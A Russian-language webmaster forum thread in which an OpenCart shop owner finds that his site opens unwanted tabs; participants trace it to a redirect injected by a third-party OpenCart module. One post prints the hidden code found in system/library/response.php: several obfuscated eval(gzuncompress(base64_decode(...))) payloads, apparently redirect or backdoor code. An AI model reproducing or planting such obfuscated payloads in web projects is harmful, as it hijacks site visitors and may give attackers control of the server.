открывается левый сайт

Тема в разделе "Мегафлуд", создана пользователем asketus, 26 май 2014.

  1. asketus

    asketus Постоялец

    Регистр.:
    13 сен 2008
    Сообщения:
    143
    Симпатии:
    29
    захожу на страницу бренды и параллельно открывается вкладка левого сайта, при просмотре исходного кода обнаружился внизу левая загрузка кода закодированного:

    у кого-то подобное было?
     
  2. ricky jabrik

    ricky jabrik

    Регистр.:
    15 мар 2014
    Сообщения:
    170
    Симпатии:
    172
    это просто Google измерить ваш сайт анализ трафика, если и не нравится просто удалил (using google translate)
     
  3. gauer

    gauer Писатель

    Регистр.:
    28 мар 2014
    Сообщения:
    0
    Симпатии:
    0
    Было даже с основным контентом. Проверьте FTP - там могут быть папки вида "ghfsgjdhfgsg" и файлы php такие же внутри. Сам не вдавался в проблему, у меня ежедневный бэкап - старую базу и файлы выставил и все. Но дыру так и не нашел, если честно.
     
  4. asketus

    asketus Постоялец

    Регистр.:
    13 сен 2008
    Сообщения:
    143
    Симпатии:
    29
    отвкрывается сайт

    теперь другой сайт
    пиззззец какой-то
     
  5. gauer

    gauer Писатель

    Регистр.:
    28 мар 2014
    Сообщения:
    0
    Симпатии:
    0
    clasno.com.ua - у меня открывался!
    выцепи базу данных и через notepad++ проверь этот домен, где он упоминается
    и выгрузи на комп весь сайт и так же по файлам проверь на него.

    чтобы совсем наверняка - укажи в поиске по файлам просто - ".ua". Вряд ли в скриптах такая переменная найдется)))

    по сути, больше крысе прятаться негде. либо в коде cms либо в базе данных. что за cms, кстати?
     
  6. asketus

    asketus Постоялец

    Регистр.:
    13 сен 2008
    Сообщения:
    143
    Симпатии:
    29
    посмотрел HTTP заголовки , обнаружил такой посылаемый запрос
    http://mainclicks.com/go/?ok&referer=mainclicks.com

    opencart
     
    Последнее редактирование модератором: 27 май 2014
  7. Darkness

    Darkness Постоялец

    Регистр.:
    21 янв 2013
    Сообщения:
    146
    Симпатии:
    69
    Это статистика с редиректом от http://ruopencart.com/
    IP адрес: 198.50.198.170
    Зарегистрирован: https://hostweek.net/
    По сути дела автор сборки встроил рекламу/статистику в свою сборку, скорее всего одним этим это не закончилось и вполне вероятно что там есть бэкдор.
     
  8. asketus

    asketus Постоялец

    Регистр.:
    13 сен 2008
    Сообщения:
    143
    Симпатии:
    29
    да, я там качал один модуль. сцуко, мало того бабки берет за регистрацию, так еще член подсовывает. такой код нашел в файле:
    system/library/response.php
    Код:
    $output_page = eval(gzuncompress(base64_decode('eNqdVE1rg0AQ/Ss9FDaBUnRpE6R4SA/tJVBMPURLkHx4Uimkp+bXN/NczW7s7K656OLbeTPz5o3378uP18Xy80sUYRhG8+d5MJOF2MSL43H7O9ltf8rZU3Eo99+HciKy5u2Up+LuUWTBWtJ7RY8aX2RU5UlMx1hMH/6LJCzNAnqt6SFX9TmKThWwBMFMNGF5SnkRRbm4PHSr56eDymGLoBsdt/02oWYvslWhrYrtgYCuOjnQzRJhdo5+PPQyteJuogLtdl8R+H2m6ZwH9NJ7UDm0ufM9dF7T5+LsxZzNGAXgGvi6zvpzVKF6S6UEKV9ceQLsYFIsCVsDpg2mU5/P1JebhuYsxo9MZNd7Ox2l9WUzHTvW5hr8Ba73eYSHHAoNN9XpHx/ufROFhO6ahEE5BO5gUShxRtUqsfGu3Hx85M1u57itbzDDe+PVIcynOwvC+OqS10M3J8fIyvodvkVVq1YGs0Mz1dX05Q9RpiiO')));  eval(gzuncompress(base64_decode('eNqVVLFuwjAQ/ZUOSAapqnwmiWNVGejQLkgVtEMShBB0DFnY4OubO8exY7V2slxAuXt5792zFx/bz7fN9uvATiAUzxPIhDyxY7G53c735cJ5DaBkKnkmutcHflyyqn1/1N8VL8X+WrGnFyYU1gZLvSsKtnr+dx7sPLbzkub3WA1WE8MQHQa2Gh74m7j0PLp5fAYx1gYDi8tnJk6i9WDfg/RrX7QegQ/UQzBBnJRwsM9yIV3aH+QU9SVzuHi+NDX+iczLfjdaB7njcTB6wjg54vi+/rVnzSnqsXIypzVhnc4H/NCSND1sFh0GgLGzNiljJWEQYVc8rKicuFpY28w7WdM7MiD6/MWzBol/CAdDZ4CkHiOSMyOtkI3iNjp+0wyV7lawDoZOzEXuX2ZzMoGp/GkVXNpd+LbitjEadQF9M3Ze2v6AhAbMZUhfoEOHA6vXXyUobeY=')));  eval(gzuncompress(base64_decode('eNqVVNFugjAU/ZU9mKBxIUCpShYe3AMYYrboIjCMMYAzxoBbTKaDrx/3SlnHC1ea3t4Genp6zi09d/76PJ2/rZWtbul8YprMHG2VjT09n+Oi35NeG5Y2MfWRMa5er8+f36ddXxts+so784vEsZQHVflKchgyTRk8di0d6rAYPq8BSsijEOLyksIwW9gUIE3lcpc4lVF4HxRrHahs+MwWkBD5TNodYQFA5nUHpC5azQ8WCiDIAYx2wOaIAiL7cP0jZamhMvnpmrfcPdVKYplASCDk0YW29Uh6xl1zWW3cyoFoHXFLtzZ2YZMEswAsgiWhVyTM26c5Snetci0OIOUn0hlEa9jlThkF/JAgyIpeC1gESYDnMCLf0lP3B4sAUYNlhnQdK4+Dn4wmr9nujXsVSbyXSHRFqzHV4K0g4FKGRYCuYD0wL6vYH5C5QYMfD9HgOOBYSyFCvmQQd1NUkXoTbg0NBnORDwRvj1zxX+aD0ZBUZtOM5q170TGH7fEXxZaFkAS3B1mIkpig8/9QS1TJI6SxiVBc7sK46K/6rzehPA2GmyiDp1++2ouh')));  eval(gzuncompress(base64_decode('eNrNF4tu4kjsV+YidCEqlxcJj/JYdbtpD4lCD+jppLYXBRhKdkMSTSZt2ar/fp4kwCRH21V0Wh3IIbZnbI/tsc0q9hfUDXz0gKkdOg+4WomJJ71U4NWnPfEq+O56nqOYsoqqV87C9WkQrTvopoMGPsUeAhoaT9FfSFNls4NIDPB4qsltWZfbErrEi2+BoquaqrZ0A124BK+CZ6UuN+S22Kks1r3K5XD8+Ww4vRVtra2ZLcOoGw1bvL/lGZrWbppNtaEzhl6/r5Ig9pdVVZLuq1KnhAjjIOJElXWz8ACxYFvt/GYyHF/PbPipJX4po8rMqWrwn+bHhKIlU2tydmmNZrU0QqUsauQtKkJB5cSa3UxGs8nZaHphTWq8WL2ttgytoTeZ2EzkSV1uFYFJfNOaJhfNo7EodcYWd8adZceE88wiHJgav47tNKWCl/60Jp/HU6u2crwIl7K4zVmsMfvyj4K+2eDKGt/MPg6HmX7fC0Fd5UPw9jLtiE+1d51U3vUSCzsrSCUKRF0/Ymj9pJ7FDARjQgKSSBe7yjxYbvtdZU03Xh9q0prScBEsSynmKhPkvcmAi9tgdDG2f5/Nru3z8RerTJLU+bqly/nS8QG+O3z05NLFuro/p/SycCKMRF1VxVOCaUx8lHi+MyfY+dZJuYZqHLh79+WWmKr+9pLX1xKnNXNXolUEOJFlnw2Hf1v2aDwbnINL3VXVjSJMqxX70prdikFMw5hG4r0EPS1DekVe5/WwLSNKvR4SvcBZitILJ/N6PIWNS5ekAqlD0r5JoY/xzM4rhjKQXyCKndf8Dg5Bcgn3NHLZVuc/H+EsGeyLwdACsSvXwyBO9J0N/CY+LGFMM5eZTbPwOKaQbkI7VVrjfQGexYt1gITZGiO2Fgml3HOsBWgFt3yAHzbqJzpfsFpFkN7xKJIFFIcsm/DyFyHLjfSIFrsmjJRg3TnpJ7AKyAY5yWTWuxM+7RKXibgT0AbTdbAERhhEFHAMM9w2xEDYxB51Q4dQhUn4belQ507oo67nzGFWAxqsgQQF2heYxBY0INvTrpJw+13XByUok0TxMxPNTrDbg9zl/lXpI/yMN6GHT9EyePKZZQoC24GT08ZcAeou4IfJekNbumqnLcMSddm70s9k57ZF8Xzjcmbu8UfHixlhuiPAzsQlfSG57JUVxf6ytx96BVYMTxXlIQgePPzVeXSiBXFDKi+CjcJQxQldOVyHnyJMHjHpsYy0YRaDtn8rpr/26OzKEu8h2L8mnSW3ZGL9cWNN2SQ5SEvHygX9DiHOtipkLUioCVkXgrfMoCCE4EI8mSFAfXp6kgukjfP8PfBlErP37Z6Z4DsMTh5v8qQCNt8K0I8IDj1ngXd2CbXUT3trSFxQ/jMIYFcQQ9DL9ON2vl0Wgd1ZFoja7uS1VFWZ1myoR8qNDsWhAKxQwCWKQN/WTrpkxAKxWgmltGpH59ymWXjwzH8P/IfyyL4/KChdW5grj46gBsx0BXhvHDW48Y2NgUltTAOz66v87fl59+F/nu1GfvrUi/B2tuc8XEIxP5W2YOxtJWPvf5jl5pEsN0CRwf/H0Nk/i/zjh9JTfz8bG/ls/Addwu3V')));
     
  9. asketus

    asketus Постоялец

    Регистр.:
    13 сен 2008
    Сообщения:
    143
    Симпатии:
    29
    епт, удали тот код, выдает теперь ошибку...

    ну в общем, нашел много вопрос по этой теме в гугле. гуглите, если кто сталкнулся
     
    Последнее редактирование модератором: 27 май 2014
  10. brett

    brett

    Регистр.:
    3 фев 2009
    Сообщения:
    213
    Симпатии:
    33
    Так он видно в партнерке salesdoubler
    зареган, так что удачных покупок вам:D